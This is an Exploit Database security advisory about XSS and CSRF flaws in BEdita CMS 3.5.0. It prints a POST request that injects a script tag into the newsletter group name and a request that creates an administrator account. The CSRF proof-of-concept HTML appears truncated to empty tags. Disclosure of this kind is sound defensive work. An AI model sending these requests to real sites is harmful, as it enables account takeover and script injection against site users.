BEdita CMS 3.5.0 – Multiple Vulnerabilities

Exploit Database
105 阅读

作者： Edric Teo

日期： 2015-03-04
类别：
- webapps
平台：
- php
来源：https://www.exploit-db.com/exploits/36265/

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BEdita CMS - XSS & CSRF Vulnerability in Version 3.5.0

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Product Information:

Software: BEdita CMS

Tested Version: 3.5.0, released 19.1.2015

Vulnerability Type: Cross-Site Scripting (CWE-79) & Cross-Site Request Forgery, CSRF (CWE-352)

Download link: http://www.bedita.com/download-bedita

Description: A software to create, manage content and organize it with semantic rules. (copied from http://www.bedita.com/what-is-bedita)

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Issues:

1) XSS in newsletter mail group creation page.

2) CSRF in user creation page.

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Vulnerability description:

1) XSS in newsletter mail group creation page

When an authenticated user of BEdita CMS is creating a newsletter mail group, the following POST request is sent to the server:

POST /bedita-3.5.0.corylus.2261e29/bedita/index.php/newsletter/saveMailGroups HTTP/1.1

Host: 127.0.0.1

Proxy-Connection: keep-alive

Content-Length: 523

Cache-Control: max-age=0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Origin: http://127.0.0.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.111 Safari/537.36

Content-Type: application/x-www-form-urlencoded

Referer: http://127.0.0.1/bedita-3.5.0.corylus.2261e29/bedita/index.php/newsletter/viewMailGroup/

Accept-Encoding: gzip, deflate

Accept-Language: en-US,en;q=0.8

Cookie: CAKEPHP=me57vjaqc2ts154qr342a6u6i2; /impresscms_1.3.7_final/htdocs/modules/profile/admin/field.php_mod_profile_Field_sortsel=field_name; /impresscms_1.3.7_final/htdocs/modules/profile/admin/field.php_mod_profile_Field_ordersel=ASC; /impresscms_1.3.7_final/htdocs/modules/profile/admin/field.php_limitsel=15; /impresscms_1.3.7_final/htdocs/modules/profile/admin/field.php_mod_profile_Field_filtersel=default; flash=yes; PHPSESSID=tg14v79ionj9d7lpelap300p33; cms-panel-collapsed-cms-menu=false; cms-panel-collapsed-cms-content-tools-CMSPagesController=true; cms-panel-collapsed-cms-content-tools-CMSMain=false; _ga=GA1.1.621011711.1425057132

data[MailGroup][id]=&data[MailGroup][group_name]=<script>alert(0)</script>&data[MailGroup][area_id]=1&data[MailGroup][visible]=1&data[MailGroup][security]=none&data[MailGroup][confirmation_in_message]=Hi [$user],

your+subscription+is+now+active,+soon+you'll+receive+the "[$title]"+newsletter.&data[MailGroup][confirmation_out_message]=Hi [$user],

you+have+been+unsubscribed+from "[$title]"

The parameter data[MailGroup][group_name] is vulnerable to XSS.

2) CSRF in user creation page

When an authenticated administrative user of BEdita CMS is creating an user, the following POST request is sent to the server:

POST /bedita-3.5.0.corylus.2261e29/bedita/index.php/users/saveUser HTTP/1.1

Host: 127.0.0.1

Proxy-Connection: keep-alive

Content-Length: 339

Cache-Control: max-age=0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Origin: http://127.0.0.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.111 Safari/537.36

Content-Type: application/x-www-form-urlencoded

Referer: http://127.0.0.1/bedita-3.5.0.corylus.2261e29/bedita/index.php/users/viewUser

Accept-Encoding: gzip, deflate

Accept-Language: en-US,en;q=0.8

data[User][auth_type]=bedita&data[User][userid]=csrfadmin99&data[User][auth_params][userid]=&pwd=1qazXSW@&data[User][passwd]=1qazXSW@&data[User][realname]=csrfadmin99&data[User][email]=csrfadmin99@admin.com&data[User][valid]=1&groups=&data[groups][administrator]=on

By executing the following Proof-of-Concept, a new user called "csrfadmin99" will be created with the password "1qazXSW@".

<html>

<body>

</form>

</body>

</html>

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Impact:

1) An attacker is able to leverage on the XSS vulnerability to exploit users of BEdita. An example would be to Inject malicious JavaScript code in order to use attacking tools like BeEF.

2) An attacker is able to create an user account with administrator privilege.

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Solution:

Update to the latest version, which is 3.5.1, see https://groups.google.com/forum/?fromgroups#!topic/bedita/SOYrl5C-YRg

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Timeline:

Vulnerability found: 11.2.2015

Vendor informed: 11.2.2015

Response by vendor: 11.2.2015

Fix by vendor 19.2.2015

Public Advisory: 1.3.2015

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References:

https://github.com/bedita/bedita/issues/591

https://github.com/bedita/bedita/issues/597

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